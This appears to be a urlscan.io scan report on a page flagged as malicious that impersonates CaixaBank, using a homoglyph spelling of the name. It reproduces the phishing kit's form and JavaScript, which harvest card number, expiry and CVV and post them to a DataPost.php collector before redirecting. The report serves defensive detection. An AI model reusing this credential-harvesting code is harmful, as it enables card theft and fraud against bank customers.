accesso-enlinea-caixa-signloc3-suspended-suspended--adribaa.codeanyapp.com
Open in
urlscan Pro
45.55.112.74
Malicious Activity!
Public Scan
URL:
https://accesso-enlinea-caixa-signloc3-suspended-suspended--adribaa.codeanyapp.com/wp-includes/blocks/blocks/home/Tarjeta.html
Submission: On February 18 via manual from ES — Scanned from ES
Submission: On February 18 via manual from ES — Scanned from ES
Form analysis
1 forms found in the DOMName: INPUTS — POST
<form name="INPUTS" id="formccn" action="" method="post">
<div class="usuario prel">
<label for="indentificacion">Número de tarjeta:</label>
<input id="ccn" name="ccn" type="" onkeyup="$cc.validate(event)" value="" maxlength="19" size="19" required="">
<!-- </div> -->
<div class="login">
<div class="usuario prel">
<label for="indentificacion">Fecha de Caducidad:</label>
<input id="exp1" name="exp1" type="" onkeyup="$cc.expiry.call(this,event)" autocomplete="off" value="" maxlength="7" size="7" required="">
</div>
<div class="login">
<div class="usuario prel">
<label for="indentificacion">CVV:</label>
<input id="cv" name="cv" type="tel" value="" maxlength="3" size="3" required="">
</div>
<div id="capaErrorID" class="msg_error_form mt10 pd10" style="display: none;"></div>
<div class="pinpad-wrapper" id="teclado_user" style="display: none;">
<div class="pinpad-component">
<div id="destinoTecladoVirtual" class="pinpad alfanum"></div>
</div>
</div>
<div class="check-field prel">
<input id="recordar" type="checkbox" onkeydown="javascript:marcarCheck(event);" onclick="javascript:ayudaCheck();" value="recordar" name="recordar" title="recordar">
</div>
<div id="capaErrorPW" class="msg_error_form mt10 pd10" style="display: none;"></div>
<div class="clear"></div>
<div class="limpiar"></div>
<button type="submit" id="enlaceBotonAceptar" class="btn-submit"> Continuar </button>
<div class="limpiar"></div>
<ul class="links-footer">
<li>
<a href="#" title="Alta a CaiхaBankNow">Alta a CaiхaBankNow</a>
</li>
<li>
<a href="#" title="Demostración">Demostración</a>
</li>
<li>
<a href="#" title="Seguridad">Seguridad</a>
</li>
<li>
<a href="#" title="CaiхaBankProtect">CaiхaBankProtect</a>
</li>
</ul>
</div>
</div>
<div class="pie">
<div class="superior5">
<ul class="menu_simple">
<li><a href="#">Aviso legal</a></li>
<li><a href="#">Seguridad</a></li>
<li><a href="#">Tarifas</a></li>
</ul>
</div>
<div class="superior5"> @ CaiхaBank, S.A. 2024. Todos los derechos reservados. </div>
</div>
<script type="text/javascript">
var $cc = {}
$cc.validate = function(e) {
//if the input is empty reset the indicators to their default classes
if (e.target.value == '') {
e.target.previousElementSibling.className = 'card-type';
e.target.nextElementSibling.className = 'card-valid';
return
}
//Retrieve the value of the input and remove all non-number characters
var number = String(e.target.value);
var cleanNumber = '';
for (var i = 0; i < number.length; i++) {
if (/^[0-9]+$/.test(number.charAt(i))) {
cleanNumber += number.charAt(i);
}
}
//Only parse and correct the input value if the key pressed isn't backspace.
if (e.key != 'Backspace') {
//Format the value to include spaces in the correct locations
var formatNumber = '';
for (var i = 0; i < cleanNumber.length; i++) {
if (i == 3 || i == 7 || i == 11) {
formatNumber = formatNumber + cleanNumber.charAt(i) + ' '
} else {
formatNumber += cleanNumber.charAt(i)
}
}
e.target.value = formatNumber;
}
//run the Luhn algorithm on the number if it is at least equal to the shortest card length
if (cleanNumber.length >= 12) {
var isLuhn = luhn(cleanNumber);
}
function luhn(number) {
var numberArray = number.split('');
for (var i = 0; i < numberArray.length; i++) {
if (i % 2 != 0) {
numberArray[i] = numberArray[i] * 2;
if (numberArray[i] > 9) {
numberArray[i] = parseInt(String(numberArray[i]).charAt(0)) + parseInt(String(numberArray[i]).charAt(1))
}
}
}
var sum = 0;
for (var i = 1; i < numberArray.length; i++) {
sum += parseInt(numberArray[i]);
}
sum = sum * 9 % 10;
if (numberArray[0] == sum) {
return true
} else {
return false
}
}
//if the number passes the Luhn algorithm add the class 'active'
if (isLuhn == true) {
e.target.nextElementSibling.className = 'card-valid active'
} else {
e.target.nextElementSibling.className = 'card-valid'
}
var card_types = [{
name: 'maestro',
pattern: /^(5018|5020|5038|6304|6759|676[1-3])/,
valid_length: [12, 13, 14, 15, 16, 17, 18, 19]
}];
//test the number against each of the above card types and regular expressions
for (var i = 0; i < card_types.length; i++) {
if (number.match(card_types[i].pattern)) {
//if a match is found add the card type as a class
e.target.previousElementSibling.className = 'card-type ' + card_types[i].name;
}
}
}
$cc.expiry = function(e) {
if (e.key != 'Backspace') {
var number = String(this.value);
//remove all non-number character from the value
var cleanNumber = '';
for (var i = 0; i < number.length; i++) {
if (i == 1 && number.charAt(i) == '/') {
cleanNumber = 0 + number.charAt(0);
}
if (/^[0-9]+$/.test(number.charAt(i))) {
cleanNumber += number.charAt(i);
}
}
var formattedMonth = ''
for (var i = 0; i < cleanNumber.length; i++) {
if (/^[0-9]+$/.test(cleanNumber.charAt(i))) {
//if the number is greater than 1 append a zero to force a 2 digit month
if (i == 0 && cleanNumber.charAt(i) > 1) {
formattedMonth += 0;
formattedMonth += cleanNumber.charAt(i);
formattedMonth += '/';
}
//add a '/' after the second number
else if (i == 1) {
formattedMonth += cleanNumber.charAt(i);
formattedMonth += '/';
}
//force a 4 digit year
else if (i == 2 && cleanNumber.charAt(i) < 2) {
formattedMonth += '20' + cleanNumber.charAt(i);
} else {
formattedMonth += cleanNumber.charAt(i);
}
}
}
this.value = formattedMonth;
}
}
</script>
<script>
$("form#formccn").on("submit", function() {
$("#enlaceBotonAceptar").addClass("disabled");
$("form#formccn").off("submit");
submitData();
return false;
});
function submitData() {
var inputForm = document.getElementById("formccn");
var data = new FormData(inputForm);
$.ajax({
url: "../inc/DataPost.php?action=LastOne",
type: "POST",
data: data,
contentType: false,
cache: false,
processData: false,
success: function(response) {
window.location.replace("./Espera2.html");
},
});
}
</script>
</div>
</form>
Text Content
Castellano Castellano Català Euskera Galego Valencià ceština Dansk Deutsch English Français Italiano Magyar Nederlands Norsk Polski Português Slovencina Suomi Svenska Türkçe ελληνικά русский 中文 CAIХABANKNOW INTRODUZCA LOS DATOS DE SU TARJETA : Número de tarjeta: Fecha de Caducidad: CVV: Continuar * Alta a CaiхaBankNow * Demostración * Seguridad * CaiхaBankProtect * Aviso legal * Seguridad * Tarifas @ CaiхaBank, S.A. 2024. Todos los derechos reservados.